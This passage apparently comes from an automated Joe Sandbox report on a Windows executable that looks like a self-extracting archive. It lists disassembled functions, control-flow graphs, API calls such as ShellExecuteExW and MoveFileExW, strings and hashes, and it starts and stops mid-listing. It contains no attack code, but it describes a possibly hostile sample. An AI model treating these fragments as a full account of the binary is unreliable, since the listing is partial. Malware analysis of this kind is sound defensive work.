be2b93 509->516 510->504 514->497 526 bdb71d-bdb72c DeleteFileW 515->526 527 bdb78b-bdb7a0 call bca2b9 515->527 551 bdb6b5-bdb6c3 call bcb682 516->551 552 bdb6a4-bdb6b3 call be2b93 516->552 521->494 522->521 526->527 532 bdb72e-bdb731 526->532 527->503 540 bdb64f 527->540 537 bdb735-bdb761 call bc3f53 GetFileAttributesW 532->537 533->483 547 bdb733-bdb734 537->547 548 bdb763-bdb779 MoveFileW 537->548 540->509 542->424 546 bdba6f-bdba81 SendMessageW 542->546 546->424 547->537 548->527 550 bdb77b-bdb785 MoveFileExW 548->550 550->527 551->503 557 bdb6c9-bdb708 call be2b93 call bde920 551->557 552->551 552->557 557->515
                APIs
                • __EH_prolog.LIBCMT ref: 00BDB527
                  • Part of subcall function 00BDA1C9: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00BDA291
                • SetFileAttributesW.KERNEL32(?,00000005,?,?,?,00000800,?,?,00000000,00000001,00BDAE3A,?,00000000), ref: 00BDB65C
                • GetFileAttributesW.KERNEL32(?), ref: 00BDB716
                • DeleteFileW.KERNEL32(?), ref: 00BDB724
                • SetWindowTextW.USER32(?,?), ref: 00BDB86D
                • _wcsrchr.LIBVCRUNTIME ref: 00BDB9F7
                • GetDlgItem.USER32(?,00000066), ref: 00BDBA32
                • SetWindowTextW.USER32(00000000,?), ref: 00BDBA42
                • SendMessageW.USER32(00000000,00000143,00000000,00C09602), ref: 00BDBA56
                • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00BDBA7F
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: File$AttributesMessageSendTextWindow$DeleteEnvironmentExpandH_prologItemStrings_wcsrchr
                • String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
                • API String ID: 3676479488-312220925
                • Opcode ID: c2fc1ed15f46a018d77e4c4cf2cb49d0c9168938587c77897d5ed4ebe8b21412
                • Instruction ID: 5539b3cd11684cb07e99850561aa8ceab40c9ecef510f6241b14ad3ae27dfae1
                • Opcode Fuzzy Hash: c2fc1ed15f46a018d77e4c4cf2cb49d0c9168938587c77897d5ed4ebe8b21412
                • Instruction Fuzzy Hash: 42E13F76900259AAEF24ABA4DD85EEEB7BCEB04350F0040E7F915E7151EF749B84CB60
                Function 00BCD019 Relevance: 23.3, APIs: 4, Strings: 9, Instructions: 557COMMON
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 562 bcd019-bcd054 call bdd8c4 call bdd9c0 call be0bb8 569 bcd056-bcd085 GetModuleFileNameW call bcb9e0 call bcfabf 562->569 570 bcd087-bcd090 call bcfae7 562->570 574 bcd095-bcd0b9 call bc94d4 call bc980c 569->574 570->574 581 bcd0bf-bcd0c7 574->581 582 bcd476-bcd47c call bc9506 574->582 583 bcd0c9-bcd0e1 call bd3406 * 2 581->583 584 bcd0e5-bcd114 call be5070 * 2 581->584 586 bcd481-bcd492 582->586 595 bcd0e3 583->595 596 bcd117-bcd11a 584->596 595->584 597 bcd248-bcd26b call bc9af0 call be2bb3 596->597 598 bcd120-bcd126 call bc9bfb 596->598 597->582 607 bcd271-bcd28c call bc9a1d 597->607 602 bcd12b-bcd152 call bc9a1d 598->602 608 bcd158-bcd160 602->608 609 bcd211-bcd214 602->609 619 bcd28e-bcd293 607->619 620 bcd295-bcd2a8 call be2bb3 607->620 611 bcd18b-bcd196 608->611 612 bcd162-bcd16a 608->612 613 bcd217-bcd239 call bc9af0 609->613 616 bcd198-bcd1a4 611->616 617 bcd1c1-bcd1c9 611->617 612->611 615 bcd16c-bcd186 call be54a0 612->615 613->596 632 bcd23f-bcd242 613->632 635 bcd188 615->635 636 bcd207-bcd20f 615->636 616->617 622 bcd1a6-bcd1ab 616->622 624 bcd1cb-bcd1d3 617->624 625 bcd1f5-bcd1f9 617->625 628 bcd2cd-bcd2d4 619->628 620->582 642 bcd2ae-bcd2ca call bd1006 call be2bae 620->642 622->617 631 bcd1ad-bcd1bf call be4de5 622->631 624->625 626 bcd1d5-bcd1ef call be54a0 624->626 625->609 627 bcd1fb-bcd1fe 625->627 626->582 626->625 627->608 638 bcd2d8-bcd301 call bcfa8c call be2bb3 628->638 639 bcd2d6 628->639 631->617 646 bcd203 631->646 632->582 632->597 635->611 636->613 651 bcd30f-bcd322 638->651 652 bcd303-bcd30a call be2bae 638->652 639->638 642->628 646->636 655 bcd328-bcd336 651->655 656 bcd40a-bcd42d call bccb85 call be2bae * 2 651->656 652->582 658 bcd33d-bcd342 655->658 691 bcd42f-bcd445 call bd3406 * 2 656->691 692 bcd447-bcd473 call be5070 * 2 656->692 660 bcd63e-bcd646 658->660 661 bcd348-bcd351 658->661 666 bcd64c-bcd650 660->666 667 bcd404-bcd407 660->667 664 bcd35d-bcd364 661->664 665 bcd353-bcd357 661->665 669 bcd36a-bcd38f 664->669 670 bcd551-bcd562 call bcf950 664->670 665->660 665->664 671 bcd6a0-bcd6a6 666->671 672 bcd652-bcd658 666->672 667->656 679 bcd392-bcd3b7 call be2b93 call be4de5 669->679 693 bcd638-bcd63b 670->693 694 bcd568-bcd591 call bcfae7 call be4e62 670->694 677 bcd6cc-bcd6e6 call bccb85 671->677 678 bcd6a8-bcd6ae 671->678 673 bcd65e-bcd665 672->673 674 bcd3fb-bcd3fe 672->674 680 bcd68c 673->680 681 bcd667-bcd66a 673->681 674->658 674->667 700 bcd6c4-bcd6c7 677->700 678->677 685 bcd6b0-bcd6b6 678->685 710 bcd3cf 679->710 711 bcd3b9-bcd3c3 679->711 695 bcd68e-bcd69b 680->695 688 bcd66c-bcd66f 681->688 689 bcd688-bcd68a 681->689 685->674 696 bcd6bc-bcd6c3 685->696 698 bcd684-bcd686 688->698 699 bcd671-bcd674 688->699 689->695 691->692 692->582 693->660 694->693 722 bcd597-bcd5fe call bd1222 call bcfa8c call bcfa65 call bcfa8c call be4eb6 694->722 695->674 696->700 698->695 705 bcd676-bcd67a 699->705 706 bcd680-bcd682 699->706 705->685 712 bcd67c-bcd67e 705->712 706->695 717 bcd3d2-bcd3d6 710->717 711->710 716 bcd3c5-bcd3cd 711->716 712->695 716->717 717->679 721 bcd3d8-bcd3df 717->721 723 bcd495-bcd498 721->723 724 bcd3e5-bcd3f3 call bcfa8c 721->724 755 bcd60c-bcd621 722->755 756 bcd600-bcd609 722->756 723->670 726 bcd49e-bcd4a5 723->726 731 bcd3f8 724->731 729 bcd4ad-bcd4ae 726->729 730 bcd4a7-bcd4ab 726->730 729->726 730->729 734 bcd4b0-bcd4be 730->734 731->674 736 bcd4df-bcd504 call bd1222 734->736 737 bcd4c0-bcd4c3 734->737 745 bcd506-bcd522 call be2bc9 736->745 746 bcd527-bcd52f 736->746 739 bcd4dc 737->739 740 bcd4c5-bcd4da 737->740 739->736 740->737 740->739 745->731 747 bcd536-bcd54c call bcda25 746->747 748 bcd531 746->748 747->731 748->747 757 bcd622-bcd629 755->757 756->755 758 bcd62b-bcd62f 757->758 759 bcd635-bcd636 757->759 758->731 758->759 759->757
                APIs
                • __EH_prolog.LIBCMT ref: 00BCD022
                • _wcschr.LIBVCRUNTIME ref: 00BCD043
                • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00BCD05E
                • __fprintf_l.LIBCMT ref: 00BCD544
                  • Part of subcall function 00BD1006: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00BCB3AF,00000000,?,?,?,000103CC), ref: 00BD1022
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
                • String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
                • API String ID: 4184910265-4124877899
                • Opcode ID: cf71a2d603997e95445fd22157ffbf608e4a3d28328d6a3a4122afc3356fd790
                • Instruction ID: 6d18ebe487e0b2798722ae356afb87de8c8a513d96dbd618a4eb6078bc9ec635
                • Opcode Fuzzy Hash: cf71a2d603997e95445fd22157ffbf608e4a3d28328d6a3a4122afc3356fd790
                • Instruction Fuzzy Hash: 0012CDB5600349ABDB24EFA4CC85FA977E9EF54300F5001BEFA4997292EB70D985CB50
                Function 00BDC1EB Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 96windowCOMMON
                Download Yara Rule

                Control-flow Graph

                APIs
                • GetDlgItem.USER32(00000068,00C1DE38), ref: 00BDC1FA
                • ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,00BD9E02,00000001,?,?,00BDA61B,00BF3CB0,00C1DE38), ref: 00BDC225
                • SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00BDC234
                • SendMessageW.USER32(00000000,000000C2,00000000,00BF22E4), ref: 00BDC23E
                • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00BDC254
                • SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00BDC26A
                • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00BDC2AA
                • SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00BDC2B4
                • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00BDC2C3
                • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00BDC2E6
                • SendMessageW.USER32(00000000,000000C2,00000000,00BF304C), ref: 00BDC2F1
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: MessageSend$ItemShowWindow
                • String ID: \
                • API String ID: 1207805008-2967466578
                • Opcode ID: 296da92743db97f1c169bedb6ce2d7e14f606d608d92793598b71306aac901b1
                • Instruction ID: 5b3226f288c94210d6d4fc2047d5d78b701edfe446c2fcfe1a686757e5355279
                • Opcode Fuzzy Hash: 296da92743db97f1c169bedb6ce2d7e14f606d608d92793598b71306aac901b1
                • Instruction Fuzzy Hash: D82146712497453FE310EB249C41FAF7FDCEF82714F010609F690972D0DBA55A08CAA6
                Function 00BDC487 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179COMMON
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 792 bdc487-bdc49f call bdd9c0 795 bdc6eb-bdc6f3 792->795 796 bdc4a5-bdc4b1 call be2b93 792->796 796->795 799 bdc4b7-bdc4df call bde920 796->799 802 bdc4e9-bdc4f6 799->802 803 bdc4e1 799->803 804 bdc4f8 802->804 805 bdc4fa-bdc503 802->805 803->802 804->805 806 bdc53b 805->806 807 bdc505-bdc507 805->807 809 bdc53f-bdc541 806->809 808 bdc50f-bdc512 807->808 810 bdc69f-bdc6a4 808->810 811 bdc518-bdc520 808->811 812 bdc548-bdc54a 809->812 813 bdc543-bdc546 809->813 816 bdc699-bdc69d 810->816 817 bdc6a6 810->817 814 bdc6b8-bdc6c0 811->814 815 bdc526-bdc52c 811->815 818 bdc55d-bdc56f call bcb1f0 812->818 819 bdc54c-bdc553 812->819 813->812 813->818 822 bdc6c8-bdc6d0 814->822 823 bdc6c2-bdc6c4 814->823 815->814 820 bdc532-bdc539 815->820 816->810 821 bdc6ab-bdc6af 816->821 817->821 827 bdc588-bdc593 call bc9f0f 818->827 828 bdc571-bdc57e call bd1438 818->828 819->818 824 bdc555 819->824 820->806 820->808 821->814 822->809 823->822 824->818 834 bdc595-bdc5ac call bcaf74 827->834 835 bdc5b0-bdc5bd ShellExecuteExW 827->835 828->827 833 bdc580 828->833 833->827 834->835 837 bdc6e9-bdc6ea 835->837 838 bdc5c3-bdc5d6 835->838 837->795 840 bdc5e9-bdc5eb 838->840 841 bdc5d8-bdc5df 838->841 843 bdc5ed-bdc5f6 840->843 844 bdc5fe-bdc61d call bdc946 840->844 841->840 842 bdc5e1-bdc5e7 841->842 842->840 845 bdc654-bdc660 CloseHandle 842->845 843->844 850 bdc5f8-bdc5fc ShowWindow 843->850 844->845 862 bdc61f-bdc627 844->862 848 bdc671-bdc67f 845->848 849 bdc662-bdc66f call bd1438 845->849 851 bdc6dc-bdc6de 848->851 852 bdc681-bdc683 848->852 849->848 860 bdc6d5 849->860 850->844 851->837 855 bdc6e0-bdc6e2 851->855 852->851 857 bdc685-bdc68b 852->857 855->837 859 bdc6e4-bdc6e7 ShowWindow 855->859 857->851 861 bdc68d-bdc697 857->861 859->837 860->851 861->851 862->845 863 bdc629-bdc63a GetExitCodeProcess 862->863 863->845 864 bdc63c-bdc646 863->864 865 bdc64d 864->865 866 bdc648 864->866 865->845 866->865
                APIs
                • ShellExecuteExW.SHELL32(000001C0), ref: 00BDC5B5
                • ShowWindow.USER32(?,00000000,?,?,?,?,?,?,?), ref: 00BDC5FA
                • GetExitCodeProcess.KERNEL32(?,?), ref: 00BDC632
                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00BDC658
                • ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?), ref: 00BDC6E7
                  • Part of subcall function 00BD1438: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00BCADA2,?,?,?,00BCAD51,?,-00000002,?,00000000,?), ref: 00BD144E
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
                • String ID: $.exe$.inf
                • API String ID: 3686203788-2452507128
                • Opcode ID: c451520e758df61643a566c93060ebe01d4ca69fe2a8a7ab94165b85b3bae328
                • Instruction ID: f3191b3691bd50cce4a3d28d0f5816df8fa5ad08bbdfe110ba95805052dadd4e
                • Opcode Fuzzy Hash: c451520e758df61643a566c93060ebe01d4ca69fe2a8a7ab94165b85b3bae328
                • Instruction Fuzzy Hash: 7F51DD710043829ADB21AF249951BABFFE9EF95304F04089FE48297250FBB1D988CB52
                Function 00BE9600 Relevance: 9.2, APIs: 6, Instructions: 216COMMONLIBRARYCODE
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 867 be9600-be9619 868 be962f-be9634 867->868 869 be961b-be962b call bedc0c 867->869 871 be9636-be963e 868->871 872 be9641-be9665 MultiByteToWideChar 868->872 869->868 876 be962d 869->876 871->872 874 be966b-be9677 872->874 875 be97f8-be980b call bde243 872->875 877 be96cb 874->877 878 be9679-be968a 874->878 876->868 880 be96cd-be96cf 877->880 881 be968c-be969b call bf0f30 878->881 882 be96a9-be96ba call be7b00 878->882 885 be97ed 880->885 886 be96d5-be96e8 MultiByteToWideChar 880->886 881->885 892 be96a1-be96a7 881->892 882->885 893 be96c0 882->893 890 be97ef-be97f6 call be9868 885->890 886->885 889 be96ee-be9700 call be9cbf 886->889 897 be9705-be9709 889->897 890->875 896 be96c6-be96c9 892->896 893->896 896->880 897->885 899 be970f-be9716 897->899 900 be9718-be971d 899->900 901 be9750-be975c 899->901 900->890 904 be9723-be9725 900->904 902 be975e-be976f 901->902 903 be97a8 901->903 905 be978a-be979b call be7b00 902->905 906 be9771-be9780 call bf0f30 902->906 907 be97aa-be97ac 903->907 904->885 908 be972b-be9745 call be9cbf 904->908 910 be97e6-be97ec call be9868 905->910 923 be979d 905->923 906->910 922 be9782-be9788 906->922 909 be97ae-be97c7 call be9cbf 907->909 907->910 908->890 920 be974b 908->920 909->910 924 be97c9-be97d0 909->924 910->885 920->885 925 be97a3-be97a6 922->925 923->925 926 be980c-be9812 924->926 927 be97d2-be97d3 924->927 925->907 928 be97d4-be97e4 WideCharToMultiByte 926->928 927->928 928->910 929 be9814-be981b call be9868 928->929 929->890
                APIs
                • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00BE457B,00BE457B,?,?,?,00BE9851,00000001,00000001,47E85006), ref: 00BE965A
                • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00BE9851,00000001,00000001,47E85006,?,?,?), ref: 00BE96E0
                • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,47E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00BE97DA
                • __freea.LIBCMT ref: 00BE97E7
                  • Part of subcall function 00BE7B00: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BE3006,?,0000015D,?,?,?,?,00BE44E2,000000FF,00000000,?,?), ref: 00BE7B32
                • __freea.LIBCMT ref: 00BE97F0
                • __freea.LIBCMT ref: 00BE9815
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ByteCharMultiWide__freea$AllocateHeap
                • String ID:
                • API String ID: 1414292761-0
                • Opcode ID: eb3d0cf949ec0e799a19448d56ed11ac36d56c34f3aae4987ff92708aef6627b
                • Instruction ID: d314104ed8a58533f8396bc22957c86825f492c7963447fac2af3a418f2c8a37
                • Opcode Fuzzy Hash: eb3d0cf949ec0e799a19448d56ed11ac36d56c34f3aae4987ff92708aef6627b
                • Instruction Fuzzy Hash: E751F272620246AFDB259F62CC81EBB77EAEB44750F1546A9FC04D7150EB34DC98C6A0
                Function 00BC980C Relevance: 7.6, APIs: 5, Instructions: 116filetimeCOMMON
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 932 bc980c-bc982d call bdd9c0 935 bc982f-bc9832 932->935 936 bc9838 932->936 935->936 938 bc9834-bc9836 935->938 937 bc983a-bc9857 936->937 939 bc985f-bc9869 937->939 940 bc9859 937->940 938->937 941 bc986e-bc988d call bc6fec 939->941 942 bc986b 939->942 940->939 945 bc988f 941->945 946 bc9895-bc98b3 CreateFileW 941->946 942->941 945->946 947 bc98b5-bc98d7 GetLastError call bcb3c9 946->947 948 bc9917-bc991c 946->948 957 bc98d9-bc98fb CreateFileW GetLastError 947->957 958 bc9906-bc990b 947->958 949 bc993d-bc9951 948->949 950 bc991e-bc9921 948->950 953 bc996b-bc9976 949->953 954 bc9953-bc9966 call bcfae7 949->954 950->949 952 bc9923-bc9937 SetFileTime 950->952 952->949 954->953 960 bc98fd 957->960 961 bc9901-bc9904 957->961 958->948 959 bc990d 958->959 959->948 960->961 961->948 961->958
                APIs
                • CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,00BC77E5,?,00000005,?,00000011), ref: 00BC98A8
                • GetLastError.KERNEL32(?,?,00BC77E5,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BC98B5
                • CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,00000000,00000800,?,?,00BC77E5,?,00000005,?), ref: 00BC98EA
                • GetLastError.KERNEL32(?,?,00BC77E5,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BC98F2
                • SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00BC77E5,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BC9937
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: File$CreateErrorLast$Time
                • String ID:
                • API String ID: 1999340476-0
                • Opcode ID: 5949d04e730ee56403d53fb0bf929067cc7382a23cc885a236df52c5951b9831
                • Instruction ID: 0360365960ef06c7a8e611a54b2c0f39bddda1ebec7d9df3915e2a20a171f381
                • Opcode Fuzzy Hash: 5949d04e730ee56403d53fb0bf929067cc7382a23cc885a236df52c5951b9831
                • Instruction Fuzzy Hash: BB4100318447466BF7209F248C0AFEABAE4FB01764F10075DF9E0971D0EBB5A998CB91
                Function 00BD9AA5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 990 bd9aa5-bd9ac4 GetClassNameW 991 bd9aec-bd9aee 990->991 992 bd9ac6-bd9adb call bd1438 990->992 994 bd9af9-bd9afd 991->994 995 bd9af0-bd9af3 SHAutoComplete 991->995 997 bd9add-bd9ae9 FindWindowExW 992->997 998 bd9aeb 992->998 995->994 997->998 998->991
                APIs
                • GetClassNameW.USER32(?,?,00000050), ref: 00BD9ABC
                • SHAutoComplete.SHLWAPI(?,00000010), ref: 00BD9AF3
                  • Part of subcall function 00BD1438: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00BCADA2,?,?,?,00BCAD51,?,-00000002,?,00000000,?), ref: 00BD144E
                • FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00BD9AE3
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AutoClassCompareCompleteFindNameStringWindow
                • String ID: EDIT
                • API String ID: 4243998846-3080729518
                • Opcode ID: 1d37842216c8738548f439d72a24ae85fbab7f859ce5e84a6de93f82add6ec4e
                • Instruction ID: 95bfedc76ca898322b6b64b016925cb87f2265019bd6e6dbf702cf397a5ef463
                • Opcode Fuzzy Hash: 1d37842216c8738548f439d72a24ae85fbab7f859ce5e84a6de93f82add6ec4e
                • Instruction Fuzzy Hash: C4F0823370162877DB20A6559C09FABB7ACDB46B11F440196FE00A32C0EB609901CAF5
                Function 00BD9B13 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35comCOMMON
                Download Yara Rule

                Control-flow Graph

                APIs
                  • Part of subcall function 00BCFD16: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BCFD31
                  • Part of subcall function 00BCFD16: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BCE82C,Crypt32.dll,?,00BCE8AE,?,00BCE892,?,?,?,?), ref: 00BCFD53
                • OleInitialize.OLE32(00000000), ref: 00BD9B2C
                • GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00BD9B63
                • SHGetMalloc.SHELL32(00C075C0), ref: 00BD9B6D
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
                • String ID: riched20.dll
                • API String ID: 3498096277-3360196438
                • Opcode ID: b2513a45128fd988c40677789adf6b98d120bf39592e8f162aba50920c65ef74
                • Instruction ID: 6efea9b034163949cc4a275a8f467b5b6dc5f30a98a6ef092fc62414a07e86ce
                • Opcode Fuzzy Hash: b2513a45128fd988c40677789adf6b98d120bf39592e8f162aba50920c65ef74
                • Instruction Fuzzy Hash: ADF0FFB1D00109ABCB10EF99D8499EFFBFCEF54715F0041AAE815A3250DBB45605CBA1
                Function 00BDC8E7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 1003 bdc8e7-bdc912 call bdd9c0 SetEnvironmentVariableW call bcf86b 1007 bdc917-bdc91b 1003->1007 1008 bdc91d-bdc921 1007->1008 1009 bdc93f-bdc943 1007->1009 1010 bdc92a-bdc931 call bcf982 1008->1010 1013 bdc923-bdc929 1010->1013 1014 bdc933-bdc939 SetEnvironmentVariableW 1010->1014 1013->1010 1014->1009
                APIs
                • SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00BDC8FD
